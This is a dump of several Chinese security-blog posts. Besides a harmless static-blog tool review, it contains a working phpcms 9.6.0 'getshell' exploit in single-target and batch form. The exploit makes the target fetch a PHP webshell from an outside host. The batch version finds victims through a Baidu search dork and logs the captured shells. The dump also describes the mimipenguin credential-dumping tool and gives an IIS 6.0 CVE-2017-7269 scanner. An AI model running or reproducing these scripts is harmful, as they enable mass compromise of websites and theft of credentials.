style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eparseBaidu\u003c/span\u003e(keyword, pagenum):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    keywordsBaseURL \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;https://www.baidu.com/s?wd=\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e str(quote(keyword)) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026amp;oq=\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e str(quote(keyword)) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026amp;ie=utf-8\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026amp;pn=\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    pnum \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e pnum \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e int(pagenum):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        baseURL \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e keywordsBaseURL \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e str(pnum\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003etry\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            request \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e requests\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eget(baseURL, headers\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eheaders)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            soup \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e BeautifulSoup(request\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etext, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;html.parser\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e a \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e soup\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eselect(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;div.c-container \u0026gt; h3 \u0026gt; a\u0026#39;\u003c/span\u003e):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                url \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e requests\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eget(a[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e], headers\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eheaders)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eurl\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#66d9ef\"\u003eyield\u003c/span\u003e url\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eexcept\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003eyield\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eNone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003efinally\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            pnum \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"百度搜索引擎取真实地址-python代码"},{"content":"介绍 一键化python 1.py http://xxx.com,如果是批量直接运行py文件即可 待办 [] 加入对有验证码phpcms网站的支持 [] 加入批量(已完成) 说明 依赖库的安装pip install requests\n代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 # -*- coding:utf-8 -*- \u0026#39;\u0026#39;\u0026#39; ---------------------- Author : Akkuman Blog : www.hacktech.cn ---------------------- \u0026#39;\u0026#39;\u0026#39; import requests import sys from random import Random chars = \u0026#39;qwertyuiopasdfghjklzxcvbnm0123456789\u0026#39; def main(): if len(sys.argv) \u0026lt; 2: print(\u0026#34;[*]Usage : Python 1.py http://xxx.com\u0026#34;) sys.exit() host = sys.argv[1] url = host + \u0026#34;/index.php?m=member\u0026amp;c=index\u0026amp;a=register\u0026amp;siteid=1\u0026#34; data = { \u0026#34;siteid\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;modelid\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;dsakkfaffdssdudi\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;123456\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;dsakkfddsjdi@qq.com\u0026#34;, # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt，一句话地址为.php后面加上e=YXNzZXJ0 \u0026#34;info[content]\u0026#34;: \u0026#34;\u0026lt;img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg\u0026gt;\u0026#34;, \u0026#34;dosubmit\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;protocol\u0026#34;: \u0026#34;\u0026#34;, } try: rand_name = chars[Random().randint(0, len(chars) - 1)] data[\u0026#34;username\u0026#34;] = \u0026#34;akkuman_%s\u0026#34; % rand_name data[\u0026#34;email\u0026#34;] = \u0026#34;akkuman_%s@qq.com\u0026#34; % rand_name htmlContent = requests.post(url, data=data) successUrl = \u0026#34;\u0026#34; if \u0026#34;MySQL Error\u0026#34; in htmlContent.text and \u0026#34;http\u0026#34; in htmlContent.text: successUrl = htmlContent.text[htmlContent.text.index(\u0026#34;http\u0026#34;):htmlContent.text.index(\u0026#34;.php\u0026#34;)] + \u0026#34;.php\u0026#34; print(\u0026#34;[*]Shell : %s\u0026#34; % successUrl) if successUrl == \u0026#34;\u0026#34;: print(\u0026#34;[x]Failed : had crawled all possible url, but i can\u0026#39;t find out it. So it\u0026#39;s failed.\\n\u0026#34;) except: print(\u0026#34;Request Error\u0026#34;) if __name__ == \u0026#39;__main__\u0026#39;: main() 批量 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 # -*- coding:utf-8 -*- \u0026#39;\u0026#39;\u0026#39; ---------------------- Author : Akkuman Blog : www.hacktech.cn ---------------------- \u0026#39;\u0026#39;\u0026#39; import requests from bs4 import BeautifulSoup # from urlparse import unquote //Python2 # from urlparse import urlparse //Python2 from urllib.parse import quote from urllib.parse import urlparse from random import Random chars = \u0026#39;qwertyuiopasdfghjklzxcvbnm0123456789\u0026#39; headers = { \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0\u0026#34; } def parseBaidu(keyword, pagenum): keywordsBaseURL = \u0026#39;https://www.baidu.com/s?wd=\u0026#39; + str(quote(keyword)) + \u0026#39;\u0026amp;oq=\u0026#39; + str(quote(keyword)) + \u0026#39;\u0026amp;ie=utf-8\u0026#39; + \u0026#39;\u0026amp;pn=\u0026#39; pnum = 0 while pnum \u0026lt;= int(pagenum): baseURL = keywordsBaseURL + str(pnum*10) try: request = requests.get(baseURL, headers=headers) soup = BeautifulSoup(request.text, \u0026#34;html.parser\u0026#34;) for a in soup.select(\u0026#39;div.c-container \u0026gt; h3 \u0026gt; a\u0026#39;): url = requests.get(a[\u0026#39;href\u0026#39;], headers=headers).url yield url except: yield None finally: pnum += 1 def saveShell(shellUrl): with open(\u0026#34;webShell.txt\u0026#34;,\u0026#34;a+\u0026#34;) as f: f.write(\u0026#34;[*]%s\\n\u0026#34; % shellUrl) def main(): data = { \u0026#34;siteid\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;modelid\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;akkumandsad\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;123456\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;akkakkumafa@qq.com\u0026#34;, # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt，一句话地址为.php后面加上e=YXNzZXJ0,普通一句话http://file.codecat.one/normalOneWord.txt \u0026#34;info[content]\u0026#34;: \u0026#34;\u0026lt;img src=http://7xusrl.com1.z0.glb.clouddn.com/bypassdog.txt?.php#.jpg\u0026gt;\u0026#34;, \u0026#34;dosubmit\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;protocol\u0026#34;: \u0026#34;\u0026#34;, } for crawlUrl in parseBaidu(\u0026#34;inurl:index.php?m=member\u0026amp;c=index\u0026amp;a=register\u0026amp;siteid=1\u0026#34;, 10): try: if crawlUrl: rand_name = chars[Random().randint(0, len(chars) - 1)] data[\u0026#34;username\u0026#34;] = \u0026#34;akkuman_%s\u0026#34; % rand_name data[\u0026#34;email\u0026#34;] = \u0026#34;akkuman_%s@qq.com\u0026#34; % rand_name host = urlparse(crawlUrl).scheme + \u0026#34;://\u0026#34; + urlparse(crawlUrl).hostname url = host + \u0026#34;/index.php?m=member\u0026amp;c=index\u0026amp;a=register\u0026amp;siteid=1\u0026#34; htmlContent = requests.post(url, data=data, timeout=10) successUrl = \u0026#34;\u0026#34; if \u0026#34;MySQL Error\u0026#34; in htmlContent.text and \u0026#34;http\u0026#34; in htmlContent.text: successUrl = htmlContent.text[htmlContent.text.index(\u0026#34;http\u0026#34;):htmlContent.text.index(\u0026#34;.php\u0026#34;)] + \u0026#34;.php\u0026#34; print(\u0026#34;[*]Shell : %s\u0026#34; % successUrl) saveShell(successUrl) if successUrl == \u0026#34;\u0026#34;: print(\u0026#34;[x]Failed : Failed to getshell.\u0026#34;) else: continue except: print(\u0026#34;Request Error\u0026#34;) if __name__ == \u0026#39;__main__\u0026#39;: main() 测试图 单个 批量 下载地址 代码下载地址\n","permalink":"https://www.hacktech.cn/post/2017/04/phpcms9-6-0-getshell-with-python/","summary":"\u003ch2 id=\"介绍\"\u003e介绍\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e一键化\u003ccode\u003epython 1.py http://xxx.com\u003c/code\u003e,如果是批量直接运行py文件即可\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"待办\"\u003e待办\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[] 加入对有验证码phpcms网站的支持\u003c/li\u003e\n\u003cli\u003e[] 加入批量(\u003cstrong\u003e已完成\u003c/strong\u003e)\u003c/li\u003e\n\u003c/ul\u003e","title":"phpcms9-6-0 一键getshell工具"},{"content":"Github项目地址\n前有Mimikatz，今有mimipenguin，近日国外安全研究员huntergregal发布了工具mimipenguin，一款Linux下的密码抓取神器，可以说弥补了Linux下密码抓取的空缺。 编写思路来自流行的windows密码抓取神器mimikatz\n详情 通过转储过程和提取那些包含明文密码可能性很高的行（hang），充分利用内存中的明文凭证。通过检查/etc/shadow文件hash,内存中的hash和正则匹配去尝试计算出每个单词的概率\n要求 root权限 已支持(以下环境已通过测试) Kali 4.3.0 (rolling) x64 (gdm3) Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2) Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2) XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2) VSFTPd 3.0.3-8+b1 (Active FTP client connections) Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency] openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage) 记录 在内存中的密码 - 100%有效 计划扩大支持和其他凭证位置 努力扩展到非桌面环境 已知bug - 有时gcore会挂起脚本，不过这是gcore导致的问题 开放提出请求和社区研究 计划未来的LDAP研究（nscld winbind等） 联系方式 Twitter: @huntergregal 个人站点: huntergregal.com Github: huntergregal 特别鸣谢 the-useless-one for remove Gcore as a dependency, cleaning up tabs, and adding output option gentilkiki for Mimikatz, the inspiration and the twitter shoutout pugilist for cleaning up PID extraction and testing ianmiell for cleaning up some of my messy code w0rm for identifying printf error when special chars are involved benichmt1 for identifying multiple authenticate users issue ChaitanyaHaritash for identifying special char edge case issues 转载自mimipenguin\n","permalink":"https://www.hacktech.cn/post/2017/04/mimipenguin/","summary":"\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/huntergregal/mimipenguin\"\u003eGithub项目地址\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e前有Mimikatz，今有mimipenguin，近日国外安全研究员huntergregal发布了工具mimipenguin，一款Linux下的密码抓取神器，可以说弥补了Linux下密码抓取的空缺。\n编写思路来自流行的\u003ca href=\"https://github.com/gentilkiwi/mimikatz\"\u003ewindows密码抓取神器mimikatz\u003c/a\u003e\u003c/p\u003e","title":"抓取当前登录用户登录密码的工具：mimipenguin"},{"content":"简介 WDTP（山湖录）不止是一款开源免费的GUI桌面单机版静态网站生成器和简单方便的前端开发工具，更是一款跨平台的集笔记、录音、个人知识管理、写作/创作、博客/网站内容与样式管理等功能于一体的多合一内容处理/管理器，同时还是一款高度追求用户体验的Markdown文本编辑器和一款方便强大的录音机。本软件研发的核心思想是：简洁高效、轻灵优雅、先进强悍、操作简单。\nWDTP（山湖录）可运行于macOS和Windows系统下，旨在提高这两大平台下所有写作/分享者的生产力及生产效率，节约耗时，减少无谓的智能、体力与资源消耗。它适合于以下群体：\n以文字、声音、图片、视频为主要内容的写作/记录/创作/分享者 职业或业余作家、小说家、编剧、技术类图书的作者及编撰者 经常记笔记或写点东西的人 写作极客 打算采用静态页面的个人博客 打算采用静态页面的中小企业 WDTP的全名是：Walden Tips，中文名称：山湖录，UnderwaySoft开发出品。设计、编程及维护：SwingCoder。立项日期：2016年8月2日，第一个内测版发布日期：2017年2月3日。 核心功能 创作。对职业作家（特别是技术作家以及需要大量构思与情节编排的文艺作家）来说比Pages、Word等WYSWYG类型的桌面文字软件更加高效、简洁和灵活的内容创作、章节管理与格式化排版工具。可方便地实现多章节（情节、场景、概念、故事主线等）并发创作/编辑、任意调序、随意归类等强大功能，完稿后一键即可成书。 笔记。可随时记录并管理学习笔记、读书笔记以及有一定篇幅并打算结构化保存、管理、检视和封装的零星随记、杂感等等。可定期将所有或任意分类（目录）下的笔记“装订成册”、集中输出，一键即可完成。 建站。强大而新颖的静态网站维护、编辑、生成、代码调试与内容、结构管理系统。特别适合追求全站真正静态化、内容至上的个人博客与中小企业官网。 Markdown编辑器。在保留并规范了大部分“正统”Markdown语法的基础上，WDTP根据大多数作者/作家的实际需求，增加了一批非常实用的新文本标记语法。比如：插入图注和表注、居中、靠右、多种类型的表格、图文混排、插入音视频媒体文件、内容注释、跨文档扩展标记等等。该编辑器针对Windows系统和macOS系统（非Retina显示屏）对中文字体的渲染结果不尽人意等情况专门做了特殊优化与调整，使用户在输入、编辑时可获得更良好的体验。 以上几项，不仅可以文字输入，更可以语音输入，直接记录声音。这一点对不擅长文字表达的朋友或者记者、演员、各类主持人、音乐家、演奏家等群体来说非常方便。 WDTP还有极具实用价值的“复习/提醒”功能，文档隐身功能，文档缩略语功能和极其强悍的“智库”架构。 其他更多…… 在“笔记、写书、建站/博客、前端开发”这几个方面，WDTP（山湖录）无缝集成，一键切换。即：同一套内容，随时可生成上述任何一种类型，还可多种类型混合使用。\n程序采用c++语言编写，作者同时也是我十分敬重的一位程序员，如果想查看更多信息请访问他的项目主页程序开源github地址\n上手使用 本来想说更多的，但是确实这款软件和其他的静态博客生成器不一样，拥有着方便的界面，支持english和中文，设置里面即可切换，相信只要你使用过，你就会使用它，能感受到他的方便快捷，如果想看更多玩法和说明请查看项目主页，现在只支持两种模板book(用来作为笔记)和blog(用来生成静态博客)，不过作者说会逐渐增加主题，真的除了暂时主题匮乏之外(会前端的可以自己改改主题)，其他的功能相比于其他的静态博客生成器方便得不是一丁半点\n那么生成静态文件之后如何上传到自己的vps或者github pages或者coding pages呢？\n上传到vps 这个你可以使用常规的FTP或者Rsync或者其他方法上传，不过我推荐自己的做法(使用Resilio Sync) 如果你的服务器是windows那么你只需要去Resilio Sync官网下载，建议安装为服务，然后访问本机sync服务的网址，点击右上角添加文件夹添加你的网站根目录，然后复制读写key，本机安装Resilio sync客户端然后手动连接这个key到你的静态文件目录，具体可以查资料，这个不难 如果你的服务器是Linux，可以查看Resilio Sync网站上面的How to install Sync Package on Linux，说明比较详细，安装好之后和上面的步骤一样，然后只要你本机挂着resilio sync软件，生成就可以即时同步。 trust me， 你将找到这个软件(Resilio Sync)更多的玩法，这软件之前的名字是btsync 当然，这只是我自己使用的方法，你也可以使用其他方法 至于上传到github pages或者coding pages，这个你需要会用git，进入静态文件目录，然后bash下执行\n1 2 3 4 git init git add . git commit //命令给文件一个仓库标记，做为仓库历史，便于以后在远程端查找 git remote add origin git@github.com:username/username.github.io.git git@github.com:username/username.github.io.git的是你的git远端地址，至于为什么用这个是因为ssh创建公钥之后不用重复输入密码 **注: **如何生成ssh公钥这篇文章是以coding.net为例，不过你生成的id_rsa.pub内容同时也可以添加到github，基本相同的步骤，如果有什么疑问可以百度一下关键词为github ssh公钥 配置\n添加评论功能 如果你不愿意麻烦可以使用邮箱来收集评论 打开qq邮箱点击上方设置-\u0026gt;账户-\u0026gt;邮我-\u0026gt;使用邮我 然后获取代码 复制\u0026lt;a target=\u0026quot;_blank\u0026quot; href=\u0026quot;http://mail.qq.com/cgi-bin/qm_share?t=qm_mailme\u0026amp;email=64qAgJ6GioWYq5qaxYiEhg\u0026quot; style=\u0026quot;text-decoration:none;\u0026quot;\u0026gt; 然后打开你的项目文件夹/themes/blog/article.html，把相应的地方改为下面例子这样 1 2 3 \u0026lt;div class=page_navi align=\u0026#34;center\u0026#34;\u0026gt; \u0026lt;b\u0026gt;\u0026lt;a target=\u0026#34;_blank\u0026#34; href=\u0026#34;http://mail.qq.com/cgi-bin/qm_share?t=qm_mailme\u0026amp;email=64qAgJ6GioWYq5qaxYiEhg\u0026#34; style=\u0026#34;text-decoration:none;\u0026#34;\u0026gt;评论/咨询/讨论/留言\u0026lt;/a\u0026gt;\u0026lt;/b\u0026gt; \u0026lt;/div\u0026gt; 然后别人点击评论就可以打开给你发邮件的入口\n如果你想添加社会化评论系统 鉴于多说即将关闭，国内没被墙的无需北岸的第三方评论已经很少了，这里我用来必力做例子 注册登录(如果chrome浏览器注册之后一直登录不了请使用火狐) 点击顶栏安装，然后填好相关信息获取代码 然后打开你的项目文件夹/themes/blog/article.html，把原先的评论代码删除掉，在合适的地方插入上方代码，我插入完之后的article.html例子如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 \u0026lt;!doctype html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;Generator\u0026#34; content=\u0026#34;WDTP by UnderwaySoft\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;Author\u0026#34; content=\u0026#34;{{author}}\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;Keywords\u0026#34; content=\u0026#34;{{keywords}}\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;Description\u0026#34; content=\u0026#34;{{description}}\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34; href=\u0026#34;{{siteRelativeRootPath}}add-in/style.css\u0026#34;/\u0026gt; \u0026lt;title\u0026gt;{{title}}\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;p\u0026gt; {{siteLogo}} {{siteMenu}} \u0026lt;hr\u0026gt; {{siteNavi}} {{content}} \u0026lt;hr\u0026gt; {{createAndModifyTime}} \u0026lt;div align=center\u0026gt;\u0026lt;h5\u0026gt;\u0026lt;p style=\u0026#34;background:PowderBlue\u0026#34;\u0026gt; 本文版权：{{siteLink}} \u0026amp;emsp; 共享协议：\u0026lt;a href=\u0026#39;http://creativecommons.org/licenses/by-nc-nd/2.5/deed.zh\u0026#39; target=\u0026#39;_blank\u0026#39;\u0026gt;署名-非商业使用-禁止演绎\u0026lt;/a\u0026gt;\u0026lt;/h5\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;hr\u0026gt; {{previousAndNext}} {{ad}} \u0026lt;p\u0026gt; {{random}} \u0026lt;hr\u0026gt; \u0026lt;!-- 来必力City版安装代码 --\u0026gt; \u0026lt;div id=\u0026#34;lv-container\u0026#34; data-id=\u0026#34;city\u0026#34; data-uid=\u0026#34;MTAyMC8yODAwMC80NTc3\u0026#34;\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; (function(d, s) { var j, e = d.getElementsByTagName(s)[0]; if (typeof LivereTower === \u0026#39;function\u0026#39;) { return; } j = d.createElement(s); j.src = \u0026#39;https://cdn-city.livere.com/js/embed.dist.js\u0026#39;; j.async = true; e.parentNode.insertBefore(j, e); })(document, \u0026#39;script\u0026#39;); \u0026lt;/script\u0026gt; \u0026lt;noscript\u0026gt; 为正常使用来必力评论功能请激活JavaScript\u0026lt;/noscript\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;!-- City版安装代码已完成 --\u0026gt; {{contact}} {{bottomCopyright}} \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 最后的效果如图 最后要说的 这个工具确实是十分方便的，如果你作为笔记，可以使用坚果云来同步，同时它可以打包你的数据，多说无益，试用之后你会感受到它的强大\n本文部分转自Underwaysoft\n","permalink":"https://www.hacktech.cn/post/2017/04/walden-tips-introdution/","summary":"\u003ch2 id=\"简介\"\u003e简介\u003c/h2\u003e\n\u003cp\u003eWDTP（山湖录）不止是一款开源免费的GUI桌面单机版静态网站生成器和简单方便的前端开发工具，更是一款跨平台的集笔记、录音、个人知识管理、写作/创作、博客/网站内容与样式管理等功能于一体的多合一内容处理/管理器，同时还是一款高度追求用户体验的Markdown文本编辑器和一款方便强大的录音机。本软件研发的核心思想是：\u003cstrong\u003e简洁高效、轻灵优雅、先进强悍、操作简单\u003c/strong\u003e。\u003c/p\u003e","title":"推荐一个静态博客兼笔记的工具：WDTP"},{"content":"代码地址\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import subprocess f = open(\u0026#39;ips.txt\u0026#39;, \u0026#39;r\u0026#39;) flines = f.readlines() vulnsrvs = 0 i = 1 for line in flines: host = line.split(\u0026#34;:\u0026#34;) ip = host[0].replace(\u0026#39;\\n\u0026#39;,\u0026#39;\u0026#39;) port = host[1].replace(\u0026#39;\\n\u0026#39;,\u0026#39;\u0026#39;) print \u0026#34;Try (\u0026#34; + str(i) +\u0026#34;) \u0026#34;+ str(ip) +\u0026#34;:\u0026#34; + str(port) if port == \u0026#34;443\u0026#34;: #dont bother with SSL/TLS continue try: myout = subprocess.check_output([\u0026#39;curl\u0026#39;, \u0026#39;--connect-timeout\u0026#39;, \u0026#39;2\u0026#39;, \u0026#39;--max-time\u0026#39;, \u0026#39;2\u0026#39;, \u0026#39;-s\u0026#39;,\u0026#39;-I\u0026#39;, \u0026#39;-X\u0026#39;, \u0026#39;PROPFIND\u0026#39;,\u0026#39;http://\u0026#39; + ip + \u0026#39;:\u0026#39; + port + \u0026#39;/\u0026#39; ]) print myout if \u0026#34;HTTP/1.1 411 Length Required\u0026#34; in myout: print \u0026#34;Found one:\u0026#34; print myout vulnsrvs += 1 except Exception, e: print str(e.output) i += 1 print \u0026#34;Vulnerable: \u0026#34; + str(vulnsrvs) 说明 ips.txt 是待验证的列表格式为：\n1 2 3 129.112.44.1:80 129.112.44.2:81 129.112.44.43:8808 它不检测443端口（HTTPS） 你也可以简单改一下进行网段批量验证。\n转自群友CF_HB\n","permalink":"https://www.hacktech.cn/post/2017/04/iis6-0-cve-2017-7269/","summary":"\u003cp\u003e\u003ca 